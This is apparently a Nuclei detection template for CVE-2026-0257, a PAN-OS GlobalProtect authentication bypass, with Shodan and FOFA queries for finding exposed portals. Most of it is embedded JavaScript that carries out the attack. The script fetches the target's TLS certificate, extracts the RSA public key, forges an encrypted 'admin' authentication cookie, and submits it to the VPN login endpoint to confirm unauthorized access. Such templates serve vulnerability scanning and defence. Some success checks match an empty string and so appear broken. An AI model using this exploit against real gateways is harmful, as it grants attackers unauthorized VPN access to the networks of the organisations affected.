id: CVE-2026-0257
info:
name: Palo Alto Networks PAN-OS - Authentication Bypass
author: dhiyaneshdk,sfewer-r7
severity: critical
description: |
Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
impact: |
Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.
remediation: |
Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.
reference:
- https://security.paloaltonetworks.com/CVE-2026-0257
- https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/
- https://github.com/sfewer-r7/CVE-2026-0257
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-0257
epss-score: 0.93905
epss-percentile: 0.99834
cwe-id: CWE-565
metadata:
verified: true
max-request: 12
vendor: paloaltonetworks
product: pan-os
shodan-query: http.title:"GlobalProtect" port:443
fofa-query: title="GlobalProtect"
tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical
flow: http(1) && javascript(1)
http:
- method: GET
path:
- "{{BaseURL}}/global-protect/login.esp"
- "{{BaseURL}}/sslmgr"
stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
internal: true
dsl:
- "status_code != 0"
- 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "Invalid parameters") || contains(tolower(header), "panweb")'
condition: and
javascript:
- args:
Host: "{{Host}}"
Hostname: "{{Hostname}}"
code: |
let net = require("nuclei/net");
let host = Host;
let parts = Hostname.split(":");
let port = parts.length > 1 ? parts[parts.length - 1] : "443";
let user = "admin";
function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); }
function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); }
function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); }
function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; }
function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; }
function b64(a) {
let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
for (let i = 0; i < a.length; i += 3) {
let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i;
r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)];
r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "=";
r += n > 2 ? T[z & 0x3f] : "=";
}
return r;
}
function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; }
function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; }
function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; }
function buildHello(hostname) {
let hb = str2b(hostname), ext = [];
let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb);
let sl = []; u16(sl, sn.length); cat(sl, sn);
u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl);
let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01];
let sb = []; u16(sb, sa.length); cat(sb, sa);
u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb);
let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19];
let gb = []; u16(gb, gr.length); cat(gb, gr);
u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb);
u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00);
let body = []; body.push(0x03, 0x03);
let ts = Math.floor(Date.now() / 1000);
body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff);
for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256));
body.push(0x00);
let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff];
u16(body, cs.length); cat(body, cs);
body.push(0x01, 0x00);
u16(body, ext.length); cat(body, ext);
let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body);
let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs);
return rec;
}
function parseCerts(data) {
let hs = [], i = 0;
while (i + 5 <= data.length) {
let t = data[i], rl = (data[i + 3] << 8) | data[i + 4];
if (i + 5 + rl > data.length) break;
if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]);
i += 5 + rl;
}
let certs = [], j = 0;
while (j + 4 <= hs.length) {
let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3];
if (j + 4 + hl > hs.length) break;
if (ht === 11) {
let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl);
while (k + 3 <= end) {
let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2];
if (k + 3 + cl > end) break;
certs.push(hs.slice(k + 3, k + 3 + cl));
k += 3 + cl;
}
break;
}
j += 4 + hl;
}
return certs;
}
function hasDone(d) {
for (let i = 0; i + 5 <= d.length;) {
let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4];
if (i + 5 + rl > d.length) break;
if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) {
if (d[j] === 14) return true;
j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]);
}
i += 5 + rl;
}
return false;
}
function rdTL(d, p) {
let tag = d[p++], len = d[p++];
if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; }
return { tag: tag, len: len, pos: p };
}
function getRSAKey(der) {
let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p);
if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); }
p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos;
r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len);
let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01];
if (oid.length !== rsaOid.length) return null;
for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null;
p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos;
r = rdTL(der, p); let ms = r.pos, ml = r.len;
if (der[ms] === 0 && ml > 1) { ms++; ml--; }
let modB = der.slice(ms, ms + ml); p = r.pos + r.len;
r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len);
return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length };
}
function forge(n, e, kl, username) {
let ts = Math.floor(Date.now() / 1000).toString();
let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0");
let padLen = kl - pt.length - 3;
if (padLen < 8) return "";
let em = [0x00, 0x02];
for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1);
em.push(0x00); cat(em, pt);
return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl));
}
function encodeCookie(cookie) {
return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D");
}
function testCookie(cookieB64, context) {
let cookieEnc = encodeCookie(cookieB64);
let body = "prot=https&server=" + host +
"&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" +
"&user=" + user + "&passwd=&context=" + context +
"&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" +
"&os-version=Microsoft+Windows+10+Pro+64-bit" +
"&portal-userauthcookie=" + cookieEnc +
"&portal-prelogonuserauthcookie=";
let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" +
"Host: " + host + "\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"User-Agent: GlobalProtect/6.0.0\r\n" +
"Content-Length: " + body.length + "\r\n" +
"Connection: close\r\n\r\n" + body;
let conn = net.OpenTLS("tcp", host + ":" + port);
conn.SetTimeout(10);
conn.Send(req);
let resp = conn.RecvFullString(0);
conn.Close();
return resp;
}
function isGatewaySuccess(resp) {
if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
return resp.indexOf("Success") !== -1 ||
(resp.indexOf("") !== -1 && resp.indexOf(user) !== -1);
}
function isPortalSuccess(resp) {
if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
return resp.indexOf("") !== -1 && resp.indexOf(user) !== -1;
}
let result = "";
try {
let hello = buildHello(host);
let conn = net.Open("tcp", host + ":" + port);
conn.SetTimeout(5);
conn.SendHex(toHex(hello));
let raw = [];
for (let a = 0; a < 10; a++) {
try {
let c = conn.Recv(32768);
if (!c || c.length === 0) break;
for (let i = 0; i < c.length; i++) raw.push(c[i]);
if (hasDone(raw)) break;
} catch (e) { break; }
}
conn.Close();
let certs = parseCerts(raw);
for (let i = 0; i < certs.length && result === ""; i++) {
let key = null;
try { key = getRSAKey(certs[i]); } catch (e) { continue; }
if (!key) continue;
let cookie = forge(key.n, key.e, key.kl, user);
if (!cookie) continue;
let gwResp = testCookie(cookie, "gateway");
if (isGatewaySuccess(gwResp)) {
result = "GlobalProtect auth bypass confirmed (gateway): " + user;
break;
}
let portalResp = testCookie(cookie, "portal");
if (isPortalSuccess(portalResp)) {
result = "GlobalProtect auth bypass confirmed (portal): " + user;
break;
}
}
} catch (e) {}
Export(result);
matchers:
- type: dsl
dsl:
- "success == true"
- "contains(response, 'GlobalProtect auth bypass confirmed')"
condition: and
extractors:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100f3fbfbb1e57ebce4f784bf393ffd95e23ea44aa1b694418e84378b332e247e6a02202c5062f41660504874be946543ee1d27ee637321d43d9a1071fb222b3feaae6c:922c64590222798bb761d5b6d8e72950